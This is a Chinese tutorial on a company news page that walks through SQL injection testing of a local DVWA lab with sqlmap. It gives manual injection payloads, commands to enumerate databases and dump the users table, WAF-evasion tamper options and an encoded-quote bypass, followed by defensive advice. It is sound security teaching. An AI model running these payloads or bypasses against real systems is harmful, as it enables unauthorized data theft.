尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测

从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测
📅 发布时间:2026/7/6 12:04:16

1. SQL注入漏洞检测入门指南

SQL注入是Web安全测试中最常见的漏洞类型之一。简单来说,攻击者通过在输入字段中插入恶意SQL代码,欺骗数据库执行非预期的命令。这可能导致数据泄露、数据篡改甚至整个系统沦陷。

我第一次接触SQL注入是在五年前的一次内部安全测试中。当时我们的电商网站用户登录页面存在注入漏洞,攻击者只需要在用户名输入框中输入admin' --就能绕过密码验证。这个发现让我意识到,即使是最基础的Web应用也可能存在严重的安全隐患。

DVWA(Damn Vulnerable Web Application)是一个专门设计用于安全测试的PHP/MySQL靶场环境。它包含了从低到高不同安全等级的漏洞场景,是学习Web安全的绝佳平台。而sqlmap则是目前最强大的自动化SQL注入工具,支持六种不同的注入技术,能够检测和利用绝大多数SQL注入漏洞。

2. 搭建DVWA测试环境

2.1 使用Docker快速部署

最方便的DVWA部署方式是使用Docker。以下是具体步骤:

# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器并映射端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

等待容器启动后,在浏览器访问http://localhost:8080。默认登录凭证是:

  • 用户名:admin
  • 密码:password

2.2 初始化数据库

首次登录后需要点击"Create/Reset Database"按钮初始化数据库。这个过程会:

  1. 创建必要的数据库表结构
  2. 插入测试数据
  3. 设置不同安全等级的安全机制

如果遇到PHP配置错误,可能需要修改两个文件:

# 进入容器内部 docker exec -it dvwa /bin/bash # 修改PHP配置 sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/7.4/apache2/php.ini # 重启Apache服务 service apache2 restart

3. 识别SQL注入点

3.1 手动测试基础注入

在DVWA中将安全等级设为"Low",然后进入SQL Injection页面:

  1. 在输入框尝试输入数字1,页面返回用户ID为1的信息
  2. 输入1'(带单引号),如果页面报错,说明存在SQL注入漏洞
  3. 进一步测试:1' OR '1'='1,这应该会返回所有用户数据

3.2 使用开发者工具收集信息

按F12打开开发者工具,切换到Network标签页:

  1. 提交表单后,找到对应的请求记录
  2. 复制完整的请求URL,例如:
    http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
  3. 在Console标签页执行document.cookie获取当前会话的Cookie值

4. 使用sqlmap进行自动化检测

4.1 基本扫描命令

首先确保已安装sqlmap:

pip install sqlmap

使用收集到的URL和Cookie执行扫描:

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123; security=low" \ --batch

参数说明:

  • -u:指定目标URL
  • --cookie:维持会话所需的Cookie
  • --batch:自动选择默认选项,无需交互

4.2 数据库信息枚举

获取数据库基本信息:

sqlmap -u "URL" --cookie="COOKIE" --banner --current-user --current-db

典型输出示例:

[INFO] the back-end DBMS is MySQL banner: '5.7.29-0ubuntu0.18.04.1' current user: 'dvwa@localhost' current database: 'dvwa'

4.3 数据提取技术

列出所有数据库:

sqlmap -u "URL" --cookie="COOKIE" --dbs

列出指定数据库的表:

sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables

提取表数据:

sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --dump

5. 高级扫描技巧

5.1 风险等级与测试级别

sqlmap提供精细的风险控制:

# 提高测试强度(1-5,默认1) sqlmap --level=3 # 提高风险等级(1-3,默认1) sqlmap --risk=3

5.2 使用代理观察请求

通过Burp Suite等代理工具观察sqlmap的请求:

sqlmap --proxy="http://127.0.0.1:8080"

5.3 绕过WAF防护

针对有WAF保护的目标:

sqlmap --tamper="space2comment,randomcase" --random-agent

常用tamper脚本:

  • space2comment:用/**/替换空格
  • randomcase:随机大小写
  • between:用BETWEEN替换比较符

6. 防御建议

6.1 开发层面的防护

  1. 使用参数化查询(Prepared Statements)

    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $input]);
  2. 实施最小权限原则,数据库用户只赋予必要权限

  3. 对所有用户输入进行严格过滤和转义

6.2 运维层面的防护

  1. 定期更新数据库和Web服务器补丁

  2. 部署WAF(Web应用防火墙)

  3. 启用数据库审计日志

7. 实战经验分享

在实际测试中,我发现几个常见问题:

  1. 当sqlmap报告注入存在但无法利用时,尝试添加--technique=B指定使用布尔盲注

  2. 对于时间型盲注,使用--time-sec=5增加延迟时间可以提高成功率

  3. 遇到复杂JSON接口时,使用--data='{"id":1}' --headers="Content-Type: application/json"

记得在一次企业测试中,目标网站对单引号做了过滤,但通过编码%EF%BC%87(全角单引号)成功绕过了防护。这种经验告诉我,永远不要假设一种防护措施就能解决所有问题。

最后强调一点:未经授权的测试是违法行为。所有测试都应在获得明确授权的前提下进行,建议使用像DVWA这样的合法靶场环境来练习技术。

相关新闻

  • 基于OpenCV与YOLO的机器人视觉感知系统构建指南
  • DVWA 1.10 文件上传漏洞实战:3种绕过手法与蚁剑/菜刀连接成功率对比
  • CPU核心手动调度优化:提升性能与能效的实战指南

最新新闻

  • 编排模式:中央协调 + 子任务分配
  • deepseek 导出遇格式难题?AI 导出鸭轻松实现高效无损文档导出
  • 抖音内容批量下载全攻略:开源工具助你高效获取无水印素材
  • AI 复制内容带乱码太糟心?AI 导出鸭一键解决格式错乱与乱码难题
  • 个人介绍及学习目标
  • 做 excel 表格用哪个 deepseek 软件文档导出不用反复调整?AI 导出鸭稳定高效,完美适配 Excel 生成与导出需求

日新闻

  • AI智能体安全防护框架AgentGuard:从原理到实战部署指南
  • KMX63与PIC18F26K40硬件组合及低功耗设计实践
  • 基于YOLO13改进的门体检测模型:C3k2模块与PoolingFormer技术解析

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号